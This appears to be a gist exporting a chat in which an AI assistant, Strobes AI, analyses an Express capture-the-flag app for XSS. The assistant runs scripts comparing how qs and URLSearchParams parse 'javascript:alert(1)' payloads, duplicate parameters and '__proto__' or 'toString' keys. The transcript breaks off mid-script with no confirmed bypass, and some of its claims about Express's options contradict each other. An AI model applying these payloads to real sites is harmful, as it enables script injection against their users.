Skip to content

Instantly share code, notes, and snippets.

@akhil-reni
Created February 10, 2026 23:20
Show Gist options
  • Select an option

  • Save akhil-reni/aed4e4bebd5f035246ddc76b296f0e76 to your computer and use it in GitHub Desktop.

Select an option

Save akhil-reni/aed4e4bebd5f035246ddc76b296f0e76 to your computer and use it in GitHub Desktop.

Chat with Strobes AI

Exported on Feb 10, 2026, 4:20 PM


YouFeb 10, 2026, 3:47 PM

const express = require('express'); const app = express();

app.set('query parser', 'extended');

app.get('/', (req, res) => { const redirectUri = req.query.redirect_uri;

if (!redirectUri) {
    return res.send("redirect_uri is required");
}

if (redirectUri !== "https://pwnbox.xyz/docs") {
    return res.send("Invalid redirect_uri");
}

return res.send(`
    <script>
        location = new URLSearchParams(window.location.search).get("redirect_uri");
    </script>
`);

});

app.listen(3000, () => console.log('Listening on port 3000'));

can you find XSS in this CTF?


Thinking — Feb 10, 2026, 3:49 PM

The user is asking me to find an XSS vulnerability in a CTF challenge. This is a code review task - let me analyze the code directly since it's a small snippet.

Let me analyze the code:

  1. Express app with extended query parser
  2. GET / route takes redirect_uri query parameter
  3. Server-side check: redirectUri !== "https://pwnbox.xyz/docs" - if not equal, returns "Invalid redirect_uri"
  4. If it passes, it renders HTML with a script that reads redirect_uri from the URL client-side and redirects to it

The key insight here is the difference between how Express parses the query parameter server-side vs how URLSearchParams parses it client-side.

The extended query parser uses the qs library which handles nested objects and arrays differently than the standard parser, so I can exploit the mismatch between server-side validation and client-side parsing by sending multiple redirect_uri parameters - the server might validate one while the client reads another. The object syntax also fails the check since an object isn't equal to the string. But I'm realizing the real opportunity here: URLSearchParams and qs parse query parameters differently, so if the server-side validation uses qs while the client-side redirect uses URLSearchParams, they could extract different values from the same parameter.

With HTTP parameter pollution—sending duplicate redirect_uri parameters—qs would create an array while URLSearchParams.get() returns only the first value, meaning the validation could pass on one value while the redirect uses another.

I'm exploring whether bracket notation in the query string could bypass the validation, though the approaches I'm considering seem convoluted.

The core challenge is finding a discrepancy between how the server parses req.query.redirect_uri with the qs library and how the client reads it with URLSearchParams.get() — I need the server to see a legitimate URL while the client extracts an XSS payload from the same parameter. I'm exploring whether the qs parser's bracket syntax could be exploited through object property overrides like toString or valueOf to bypass the string validation check.

Reconsidering the approach, I realize URLSearchParams.get() handles keys literally without bracket parsing, so it would return only the first value when multiple parameters share the same key, whereas qs would create an array.

The vulnerability likely stems from this parser differential—if I can craft a URL where the two parsers interpret the redirect URI differently, I might bypass the string comparison check. I'm exploring whether the qs parser's array handling could create a mismatch with URLSearchParams, but duplicate redirect_uri parameters get converted to arrays in both cases, which fails the string check. I need to find a way where only one parser sees it as an array while the other doesn't. I'm realizing that mixing redirect_uri as both a direct value and a nested property like redirect_uri[toString] could exploit how qs handles conflicting keys—potentially creating an object with a toString method that could be leveraged for code execution. I'm considering whether a single-element array might bypass the check, but that would still fail the strict equality comparison. Let me look back at the actual validation logic to see if I'm missing something about how qs parses the input. doesn't match the validation check, so it fails. But on the client side, URLSearchParams only sees the first redirect_uri parameter before the encoded ampersand, so it extracts just "https://pwnbox.xyz/docs" and redirects safely — wait, that's the opposite of what we need for XSS. Let me think about this differently: what if we use an encoding that qs leaves alone but URLSearchParams decodes, so the server sees the safe value but the client executes something malicious? I'm examining the client-side redirect code more carefully and realizing the URLSearchParams parsing is straightforward, so bypassing the server validation through query parameter tricks won't work. Instead, I should explore whether I can inject directly into the HTML response itself, particularly into the script tag that handles the redirect. I'm exploring whether mixing plain and bracket notation in the query string could cause qs to produce an object instead of a string, which would bypass the string comparison check and reach the client-side XSS vector. The key is understanding how qs handles this edge case and what req.query.redirect_uri would actually become. I'm testing different parameter combinations to see if qs and URLSearchParams parse them differently—maybe using array notation like redirect_uri[0] could trick one parser into treating it as an array while the other sees it as a string. Let me actually run some code to verify how qs handles these edge cases with duplicate keys and array syntax. I need to find a parameter that qs parses as redirect_uri but URLSearchParams treats differently—like using bracket notation where qs interprets redirect_uri[0] as an array element while URLSearchParams sees it as a literal key name, allowing me to inject a malicious value that only one parser picks up.

Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// Simulate Express 'extended' query parser (uses qs library)\n// vs browser's URLSearchParams\n\nconst testCases = [\n  // Basic HPP\n  \"redirect_uri=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\",\n  \"redirect_uri=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\",\n  \n  // qs bracket syntax - array\n  \"redirect_uri[]=https://pwnbox.xyz/docs\",\n  \"redirect_uri[0]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\",\n  \"redirect_uri=javascript:alert(1)&redirect_uri[0]=https://pwnbox.xyz/docs\",\n  \"redirect_uri=https://pwnbox.xyz/docs&redirect_uri[0]=javascript:alert(1)\",\n  \n  // Mixing plain and array index\n  \"redirect_uri[1]=javascript:alert(1)&redirect_uri[0]=https://pwnbox.xyz/docs\",\n  \"redirect_uri[0]=javascript:alert(1)&redirect_uri[1]=https://pwnbox.xyz/docs\",\n  \n  // Object notation with toString override attempt\n  \"redirect_uri[toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\",\n  \"redirect_uri=https://pwnbox.xyz/docs&redirect_uri[toString]=javascript:alert(1)\",\n];\n\nconsole.log(\"=== Parser Differential Analysis ===\\n\");\n\nfor (const query of testCases) {\n  const qsParsed = qs.parse(query);\n  const urlParams = new URLSearchParams(query);\n  \n  const qsValue = qsParsed.redirect_uri;\n  const urlParamsValue = urlParams.get(\"redirect_uri\");\n  \n  const serverCheck = qsValue !== \"https://pwnbox.xyz/docs\";\n  \n  console.log(`Query: ?${query}`);\n  console.log(`  qs result:           ${JSON.stringify(qsValue)} (type: ${typeof qsValue}, isArray: ${Array.isArray(qsValue)})`);\n  console.log(`  URLSearchParams:     ${JSON.stringify(urlParamsValue)}`);\n  console.log(`  Server blocks it?    ${serverCheck ? \"YES (blocked)\" : \"NO (passes through!)\"}`);\n  console.log(`  Client-side value:   ${urlParamsValue}`);\n  \n  if (!serverCheck && urlParamsValue !== \"https://pwnbox.xyz/docs\") {\n    console.log(`  🚨 XSS POSSIBLE! Server 
... (truncated)

Output:

{
  "success": false,
  "outputs": [
    "=== Parser Differential Analysis ===\n\nQuery: ?redirect_uri=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n  qs result:           [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"] (type: object, isArray: true)\n  URLSearchParams:     \"https://pwnbox.xyz/docs\"\n  Server blocks it?    YES (blocked)\n  Client-side value:   https://pwnbox.xyz/docs\n\nQuery: ?redirect_uri=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n  qs result:           [\"javascript:alert(1)\",\"https://pwnbox.xyz/docs\"] (type: object, isArray: true)\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n  Client-side value:   javascript:alert(1)\n\nQuery: ?redirect_uri[]=https://pwnbox.xyz/docs\n  qs result:           [\"https://pwnbox.xyz/docs\"] (type: object, isArray: true)\n  URLSearchParams:     null\n  Server blocks it?    YES (blocked)\n  Client-side value:   null\n\nQuery: ?redirect_uri[0]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n  qs result:           [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"] (type: object, isArray: true)\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n  Client-side value:   javascript:alert(1)\n\nQuery: ?redirect_uri=javascript:alert(1)&redirect_uri[0]=https://pwnbox.xyz/docs\n  qs result:           [\"javascript:alert(1)\",\"https://pwnbox.xyz/docs\"] (type: object, isArray: true)\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n  Client-side value:   javascript:alert(1)\n\nQuery: ?redirect_uri=https://pwnbox.xyz/docs&redirect_uri[0]=javascript:alert(1)\n  qs result:           [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"] (type: object, isArray: true)\n  URLSearchParams:     \"https://pwnbox.xyz/docs\"\n  Server blocks it?    YES (blocked)\n  Client-side value:   https://pwnbox.xyz/docs\n\nQuery: ?redirect_uri[1]=javascript:alert(1)&redirect_uri[0]=https://
... (truncated)
Thinking — Feb 10, 2026, 3:49 PM
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// The toString trick bypasses server check. Now the question is:\n// Can we control what URLSearchParams returns for \"redirect_uri\" \n// while qs still returns \"https://pwnbox.xyz/docs\"?\n\n// KEY INSIGHT: qs treats redirect_uri[anything] as setting properties on redirect_uri\n// but URLSearchParams treats \"redirect_uri[anything]\" as a SEPARATE key entirely.\n// URLSearchParams.get(\"redirect_uri\") only matches the LITERAL key \"redirect_uri\"\n\n// So the strategy is:\n// 1. Use redirect_uri[...]=... to satisfy qs (it sets redirect_uri object properties)\n// 2. Use a plain redirect_uri=<xss> that URLSearchParams picks up\n// 3. qs must still return \"https://pwnbox.xyz/docs\" as the final value\n\n// Test: What if qs merges a plain string with bracket notation?\n// When qs sees both redirect_uri=X and redirect_uri[Y]=Z, what wins?\n\nconst testCases2 = [\n  // The toString trick passes server check - qs returns the plain string value\n  // But URLSearchParams also returns the plain string value\n  // We need URLSearchParams to return the XSS payload instead\n  \n  // What if the XSS payload comes FIRST as plain redirect_uri?\n  \"redirect_uri=javascript:alert(1)&redirect_uri[toString]=x&redirect_uri=https://pwnbox.xyz/docs\",\n  \n  // Or: only bracket notation for legit value, plain for XSS\n  \"redirect_uri[value]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\",\n  \n  // qs with allowPrototypes behavior\n  \"redirect_uri[__proto__][toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\",\n  \n  // What about comma-separated (qs comma option)?\n  \"redirect_uri=https://pwnbox.xyz/docs,javascript:alert(1)\",\n  \n  // The core trick: qs bracket notation doesn't affect URLSearchParams key \"redirect_uri\"\n  // So: legit value via brackets (qs only), XSS via plain param (URLSearchParams picks up)\n  \"redirect_uri[0]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\",\n];\n\
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Round 2: Deeper Differential Analysis ===\n\nQuery: ?redirect_uri=javascript:alert(1)&redirect_uri[toString]=x&redirect_uri=https://pwnbox.xyz/docs\n  qs type: object, isArray: true\n  qs result:           [\"javascript:alert(1)\",\"https://pwnbox.xyz/docs\"]\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n\nQuery: ?redirect_uri[value]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n  qs type: object, isArray: false\n  qs result:           {\"value\":\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\":true}\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n\nQuery: ?redirect_uri[__proto__][toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n  qs type: string, isArray: false\n  qs result:           \"https://pwnbox.xyz/docs\"\n  URLSearchParams:     \"https://pwnbox.xyz/docs\"\n  Server blocks it?    NO (passes!)\n\nQuery: ?redirect_uri=https://pwnbox.xyz/docs,javascript:alert(1)\n  qs type: string, isArray: false\n  qs result:           \"https://pwnbox.xyz/docs,javascript:alert(1)\"\n  URLSearchParams:     \"https://pwnbox.xyz/docs,javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n\nQuery: ?redirect_uri[0]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n  qs type: object, isArray: true\n  qs result:           [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"]\n  URLSearchParams:     \"javascript:alert(1)\"\n  Server blocks it?    YES (blocked)\n\n\n=== Understanding qs merge behavior ===\nredirect_uri[toString]=x + redirect_uri=valid: {\"redirect_uri\":\"https://pwnbox.xyz/docs\"}\nredirect_uri=valid + redirect_uri[toString]=x: {\"redirect_uri\":\"https://pwnbox.xyz/docs\"}\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// KEY REALIZATION: When mixing redirect_uri[...] and redirect_uri=...,\n// qs sometimes creates arrays (which fail the check).\n// When there's only redirect_uri[toString]=x, qs ignores it (proto pollution protection).\n// When there's redirect_uri=valid, qs returns the string.\n\n// The __proto__ approach bypasses server check but we need URLSearchParams to see the XSS payload.\n// URLSearchParams only sees literal \"redirect_uri\" keys, NOT \"redirect_uri[anything]\"\n\n// So what if we do:\n// redirect_uri=javascript:alert(1) ← URLSearchParams sees this\n// redirect_uri[__proto__]=x       ← qs ignores this (proto protection)  \n// But then qs also sees redirect_uri=javascript:alert(1) and returns THAT string!\n\n// The fundamental challenge: any plain redirect_uri=X is seen by BOTH parsers.\n// We need the server to see \"https://pwnbox.xyz/docs\" while client sees XSS.\n\n// New idea: Express extended parser with allowPrototypes=false (default)\n// What about qs's handling of redirect_uri as both value AND object?\n\n// Let me check: when qs sees redirect_uri[toString]=... it creates {toString: ...}\n// But when also seeing redirect_uri=string, it prefers the string (last wins or merge?)\n// From test above: qs returns the string when both are present.\n\n// What if we use bracket notation that makes URLSearchParams see a DIFFERENT plain param?\n\n// CRITICAL INSIGHT - what about using BOTH in specific order?\nconst testCases3 = [\n  // Use qs object merge + toString to bypass check\n  // redirect_uri[toString] is set, and redirect_uri base value is set\n  // qs returns the string value\n  // But what does URLSearchParams.getAll show?\n  \n  // Testing with HMTL entity / encoding tricks\n  \"redirect_uri=https://pwnbox.xyz/docs&redirect%5furi=javascript:alert(1)\",\n  \n  // What about using different bracket combinations?\n  // qs collapses redirect_uri[0] into redirect_uri array\n  // But redirect_uri withou
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "Query: ?redirect_uri=https://pwnbox.xyz/docs&redirect%5furi=javascript:alert(1)\n  qs:             {\"redirect_uri\":[\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"]}\n  USP redirect_uri: https://pwnbox.xyz/docs\n  All USP params:\n    redirect_uri = https://pwnbox.xyz/docs\n    redirect_uri = javascript:alert(1)\n\nQuery: ?redirect_uri[constructor][prototype][test]=1&redirect_uri=https://pwnbox.xyz/docs\n  qs:             {\"redirect_uri\":\"https://pwnbox.xyz/docs\"}\n  USP redirect_uri: https://pwnbox.xyz/docs\n  All USP params:\n    redirect_uri[constructor][prototype][test] = 1\n    redirect_uri = https://pwnbox.xyz/docs\n\n=== Array limit test ===\nredirect_uri[21]:\n  qs: {\"redirect_uri\":{\"21\":\"https://pwnbox.xyz/docs\"}}\n\nredirect_uri[999]=valid&redirect_uri=xss:\n  qs: {\"redirect_uri\":{\"999\":\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\":true}}\n  qs type: object, isArray: false\n  USP get(\"redirect_uri\"): javascript:alert(1)\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// KEY FINDING: %5f is decoded by BOTH parsers to underscore, so both see \"redirect_uri\"\n// That means qs creates an array → blocked.\n// But wait - the first test showed BOTH URLSearchParams params are \"redirect_uri\"!\n// That means %5f IS decoded by URLSearchParams too. Makes sense.\n\n// Let me focus on the CORE mechanic:\n// qs: bracket notation like redirect_uri[x] → sets object/array property\n// URLSearchParams: redirect_uri[x] is a COMPLETELY DIFFERENT key from redirect_uri\n\n// The only way to win is:\n// - qs sees \"redirect_uri\" as string \"https://pwnbox.xyz/docs\" (passes !== check)\n// - URLSearchParams.get(\"redirect_uri\") returns XSS payload\n\n// This means we need TWO things in the URL:\n// 1. Something that makes qs set redirect_uri = \"https://pwnbox.xyz/docs\" (string)\n// 2. A plain redirect_uri=javascript:alert(1) that URLSearchParams picks up\n\n// Problem: if both redirect_uri=valid and redirect_uri=xss exist as plain params,\n// qs creates an array → blocked.\n\n// UNLESS... we can make qs see only ONE plain redirect_uri.\n// What if qs and URLSearchParams disagree on what constitutes the key \"redirect_uri\"?\n\n// IDEA: What about Unicode normalization or case folding?\n// Express/qs uses the raw key. URLSearchParams uses the raw key too.\n// No difference there.\n\n// IDEA: What about the qs `decoder` option?\n// Express doesn't pass a custom decoder. Default decoder URL-decodes.\n\n// IDEA: What about duplicate key behavior with qs ignoring bracket keys?\n// We showed that qs ignores __proto__ and constructor bracket keys.\n// So: redirect_uri[__proto__]=XSS & redirect_uri=valid\n// → qs: redirect_uri = \"valid\" (string) ✓ passes check\n// → URLSearchParams.get(\"redirect_uri\") = \"valid\" ✗ safe value\n\n// The bracket param redirect_uri[__proto__] is a DIFFERENT key in URLSearchParams.\n// We can't get URLSearchParams to return XSS for \"redirect_uri\" without a plain redir
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "Query: ?redirect_uri%5Btest%5D=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n  qs: {\"redirect_uri\":{\"test\":\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\":true}}\n  USP get(\"redirect_uri\"): javascript:alert(1)\n  qs type: object, passes check: false\n\nQuery: ?redirect_uri=https://pwnbox.xyz/docs&redirect_uri%3d=javascript:alert(1)\n  qs: {\"redirect_uri\":\"https://pwnbox.xyz/docs\",\"redirect_uri=\":\"javascript:alert(1)\"}\n  USP get(\"redirect_uri\"): https://pwnbox.xyz/docs\n  qs type: string, passes check: true\n\n=== qs with allowDots ===\n{\"redirect_uri.toString\":\"x\",\"redirect_uri\":\"valid\"}\n\n=== Array toString ===\n[\"https://pwnbox.xyz/docs\"].toString() === \"https://pwnbox.xyz/docs\": true\nSingle element array toString: \"https://pwnbox.xyz/docs\"\nBut !== comparison: true\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// From the tests, I see that:\n// 1. qs merges bracket and plain params differently\n// 2. When bracket param creates an object, and plain param exists,\n//    qs merges the plain value into the object as a key with value=true\n\n// Key finding from: redirect_uri%5Btest%5D=valid&redirect_uri=javascript:alert(1)\n// qs: {\"redirect_uri\":{\"test\":\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\":true}}\n// USP: \"javascript:alert(1)\"\n// BUT qs type is OBJECT, not string → fails !== check!\n\n// The challenge: qs returns either string (but then same for both parsers)\n// or object/array (which always fails !== string comparison)\n\n// UNLESS... we can make qs return the exact string we need via coercion somehow?\n// The !== operator doesn't coerce. Period.\n\n// Let me reconsider the problem. Maybe the XSS isn't about parser differential.\n// Maybe it's about the javascript: URI in location assignment.\n// What if we can craft redirect_uri that PASSES the server check AND is XSS?\n\n// The check is: redirectUri !== \"https://pwnbox.xyz/docs\"\n// Can \"https://pwnbox.xyz/docs\" itself be used for XSS? No, it's just a URL.\n\n// WAIT. Let me re-read the client-side code one more time:\n// location = new URLSearchParams(window.location.search).get(\"redirect_uri\");\n// \n// This does location assignment. For XSS, we need javascript: protocol.\n// But the server check requires EXACTLY \"https://pwnbox.xyz/docs\".\n\n// What if there are OTHER query parameters that we can abuse?\n// The script uses window.location.search to create URLSearchParams,\n// then gets \"redirect_uri\". What if we pollute the search string?\n\n// IMPORTANT: window.location.search is the FULL query string from the URL bar.\n// The server's req.query is parsed from the same query string.\n// But what about PATH vs QUERY parsing differences?\n\n// Express parses ONLY the query string (after ?).\n// Browser's window.location.search is everyth
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== %26 encoding test ===\nRaw query: redirect_uri=https://pwnbox.xyz/docs%26redirect_uri%3djavascript:alert(1)\nqs: {\"redirect_uri\":\"https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\"}\nUSP get: https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\nUSP all entries:\n  redirect_uri = https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n\n=== Verification ===\nqs: {\"a\":\"1&2=3\"}\nUSP entries:\n  a = 1&2=3\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// Both qs and URLSearchParams decode %26 the same way - they see it as part of the value,\n// not as a parameter separator. This is correct RFC behavior.\n\n// Let me step back and think about this fundamentally differently.\n// \n// The ONLY reliable parser differential between qs and URLSearchParams is:\n// qs:             redirect_uri[x] → sets redirect_uri.x (object property)\n// URLSearchParams: redirect_uri[x] is literal key \"redirect_uri[x]\"\n//\n// And: qs ignores __proto__ and constructor bracket chains.\n//\n// When qs sees BOTH redirect_uri[x]=A and redirect_uri=B:\n// - If redirect_uri[x] makes an object, and redirect_uri=B exists,\n//   qs merges B into the object (as a key with boolean value true)\n// - Result is an object, NOT a string → fails !== check\n//\n// When qs sees ONLY redirect_uri=B, it returns string B.\n// URLSearchParams also returns B. No differential.\n//\n// CRITICAL REALIZATION: I need to look at this from the Express perspective.\n// What is the EXACT qs version/options Express uses?\n// Express 4.x uses `qs` module with specific options.\n// Let me check if Express passes allowPrototypes: true\n\n// In Express 4.x source:\n// app.set('query parser', 'extended') → uses qs.parse(str, { allowPrototypes: true })\n// WAIT! Express passes allowPrototypes: true!\n\nconsole.log(\"=== Testing with allowPrototypes: true (like Express) ===\\n\");\n\nconst tests = [\n  // With allowPrototypes=true, what happens with toString override?\n  \"redirect_uri[toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\",\n  \"redirect_uri=https://pwnbox.xyz/docs&redirect_uri[toString]=javascript:alert(1)\",\n];\n\nfor (const q of tests) {\n  const parsed = qs.parse(q, { allowPrototypes: true });\n  const urlParams = new URLSearchParams(q);\n  const val = parsed.redirect_uri;\n  \n  console.log(`Query: ?${q}`);\n  console.log(`  qs (allowPrototypes=true): ${JSON.stringify(val)}`);\n  consol
... (truncated)

Output:

{
  "success": false,
  "outputs": [
    "=== Testing with allowPrototypes: true (like Express) ===\n\nQuery: ?redirect_uri[toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n  qs (allowPrototypes=true): {\"toString\":\"javascript:alert(1)\",\"https://pwnbox.xyz/docs\":true}\n  type: object\n  toString property: javascript:alert(1)\n"
  ],
  "errors": [
    "\u001b[0m\u001b[1m\u001b[31merror\u001b[0m: Uncaught (in promise) TypeError: Cannot convert object to primitive value\n    console.log(`  String(val): ${String(val)}`);\n\u001b[0m\u001b[31m                                  ^\u001b[0m\n    at \u001b[0m\u001b[1m\u001b[3mString\u001b[0m (\u001b[0m\u001b[36m<anonymous>\u001b[0m)\n    at \u001b[0m\u001b[36mfile:///opt/amazon/genesis1p-tools/deno/deno_temp/deno_script_7e6f552b-d9a0-4bd0-b18a-52846016b567.js\u001b[0m:\u001b[0m\u001b[33m50\u001b[0m:\u001b[0m\u001b[33m35\u001b[0m\n"
  ],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// VERY INTERESTING! With allowPrototypes: true:\n// redirect_uri[toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n// → {toString: \"javascript:alert(1)\", \"https://pwnbox.xyz/docs\": true}\n// The toString property is OVERRIDDEN! And String(val) crashes!\n// This is because the object's toString is now a STRING, not a function.\n\n// But with allowPrototypes: false (default):\n// qs ignores toString override → returns the string value\n\n// The question is: does Express enable allowPrototypes?\n// Actually, in Express 4.x, when using 'extended' query parser,\n// Express just does: qs.parse(str) with NO special options.\n// So allowPrototypes defaults to false.\n\n// But wait - the CTF challenge says 'extended'. Let me re-read:\n// app.set('query parser', 'extended');\n// In Express, this means: use qs.parse(str, { allowPrototypes: true })\n// Actually let me check the Express source code to be 100% sure\n\n// Express 4.x query.js (from GitHub):\n// if (val === 'extended') { \n//   fn = parseExtendedQueryString; \n// }\n// function parseExtendedQueryString(str) {\n//   return qs.parse(str, { allowPrototypes: true });\n// }\n\n// YES! Express DOES pass allowPrototypes: true!!!\n\nconsole.log(\"=== Express behavior (allowPrototypes: true) ===\\n\");\n\n// With allowPrototypes: true, qs allows setting prototype properties like toString\n// So the object gets toString overridden with a STRING (not function)\n// When JS tries to convert this object to string (via ==, template literals, etc.)\n// it crashes because toString is not a function\n\n// But !== doesn't try to convert. It checks type first.\n// object !== string → always true. BLOCKED.\n\n// UNLESS... hmm, is there a way to get qs to return something that IS a string\n// but has a different value for URLSearchParams?\n\n// NEW ANGLE: What if we don't try to bypass the SERVER check at all?\n// What if we modify the query string AFTER the serv
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Express behavior (allowPrototypes: true) ===\n\n=== qs with allowPrototypes: true and __proto__ ===\n{\"redirect_uri\":{\"https://pwnbox.xyz/docs\":true}}\n{\"redirect_uri\":{\"constructor\":\"test\",\"https://pwnbox.xyz/docs\":true}}\n{\"redirect_uri\":{\"constructor\":{\"prototype\":\"test\"},\"https://pwnbox.xyz/docs\":true}}\n\n=== Radical ideas ===\nqs: {\"redirect_uri\":[\"https://pwnbox.xyz/docs\",\"javascript:alert(1)#\"]}\nUSP: https://pwnbox.xyz/docs\n\nNull byte test:\nqs: {\"redirect_uri\":[\"https://pwnbox.xyz/docs\\u0000\",\"javascript:alert(1)\"]}\nUSP: \"https://pwnbox.xyz/docs\\u0000\"\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// With allowPrototypes: true, __proto__ is NO LONGER ignored!\n// redirect_uri[__proto__]=test&redirect_uri=valid\n// → {redirect_uri: {\"https://pwnbox.xyz/docs\": true}}\n// The plain value becomes an OBJECT KEY. Different behavior!\n\n// This is because qs tries to set redirect_uri.__proto__ = \"test\" first,\n// which creates an object for redirect_uri, then redirect_uri=valid\n// gets merged as another key in that object.\n\n// So all approaches create objects/arrays for redirect_uri → fail !== check.\n\n// Let me try yet another angle entirely.\n// The hint is 'query parser' set to 'extended'.\n// qs supports nested objects: a[b][c]=1 → {a: {b: {c: 1}}}\n\n// What if we can influence how the browser BUILDS window.location.search?\n// Express normalizes/rewrites the URL? No.\n\n// FINAL IDEA: Server-side redirect_uri has clean value, passes check.\n// Client-side URLSearchParams reads from window.location.search.\n// But what if we inject into window.location.search via PATH traversal?\n\n// Example: http://host/..%2F?redirect_uri=xss?redirect_uri=valid\n// Express path parsing vs browser path parsing difference?\n\n// OR: What about semicolons? Some servers treat ; as & equivalent.\n// qs does NOT treat ; as separator by default.\n// URLSearchParams does NOT treat ; as separator either.\n\n// ACTUALLY - let me re-examine this. Maybe I'm wrong about Express options.\n// Let me check what Express 4 actually does:\n\nconsole.log(\"=== Testing actual Express query parsing options ===\\n\");\n\n// Express 4.18 source (from npm):\n// In express/lib/middleware/query.js:\n// opts = merge({}, opts)\n// var queryparse = qs.parse;\n// if (typeof this.get('query parser fn') === 'function') {\n//   queryparse = this.get('query parser fn');\n// } else if (this.get('query parser') === 'extended') {\n//   queryparse = parseExtendedQueryString;\n// }\n// \n// function parseExtendedQueryString (str) {\n//   return qs.parse(st
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Testing actual Express query parsing options ===\n\nDuplicate params (allowPrototypes): [\"javascript:alert(1)\",\"https://pwnbox.xyz/docs\"]\nType: object isArray: true\n\nPrototype pollution test:\nqs result: {\"constructor\":{\"prototype\":{\"redirect_uri\":\"javascript:alert(1)\"}},\"redirect_uri\":\"https://pwnbox.xyz/docs\"}\nredirect_uri: https://pwnbox.xyz/docs\ntype: string\nObject.prototype.redirect_uri: undefined\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// qs doesn't actually pollute the prototype even with allowPrototypes: true.\n// It just creates a regular object with constructor.prototype.redirect_uri property.\n\n// Let me completely rethink this. The key hint is: app.set('query parser', 'extended')\n// This is qs. The comparison is !== (strict).\n// Client-side uses URLSearchParams.\n\n// What if the trick is NOT about making the server return a different value,\n// but about exploiting how URLSearchParams handles the query string differently?\n\n// CRITICAL REALIZATION: URLSearchParams in the BROWSER might behave differently\n// than Deno's URLSearchParams implementation!\n// Let me check: are there known browser-specific URLSearchParams behaviors?\n\n// Actually, the standard is clear: URLSearchParams.get returns the first value.\n// All browsers follow this.\n\n// OK new direction entirely. Let me look at this from the qs `extended` parser\n// specifically and its interaction with Express.\n\n// In Express with extended parser, qs supports ARRAY syntax:\n// redirect_uri[]=value → redirect_uri: [\"value\"]\n// redirect_uri[0]=value → redirect_uri: [\"value\"]\n\n// But here's a subtle thing: qs with allowPrototypes also allows:\n// __proto__[redirect_uri]=xss\n// This would try to set Object.prototype.redirect_uri = \"xss\"\n// But modern qs has protection against this even with allowPrototypes.\n\n// Let me try: What version of qs silently handles or mishandles this?\nconsole.log(\"qs version test:\");\nconsole.log(JSON.stringify(qs.parse(\"__proto__[test]=polluted\", {allowPrototypes: true})));\nconsole.log(\"({}).test:\", ({}).test);\n\n// Modern qs sets __proto__ as own property, doesn't pollute\n// But OLDER qs versions (< 6.5) DO pollute!\n\n// If the CTF uses an older Express/qs... but we're testing with qs 6.11.0\n\n// Let me try a 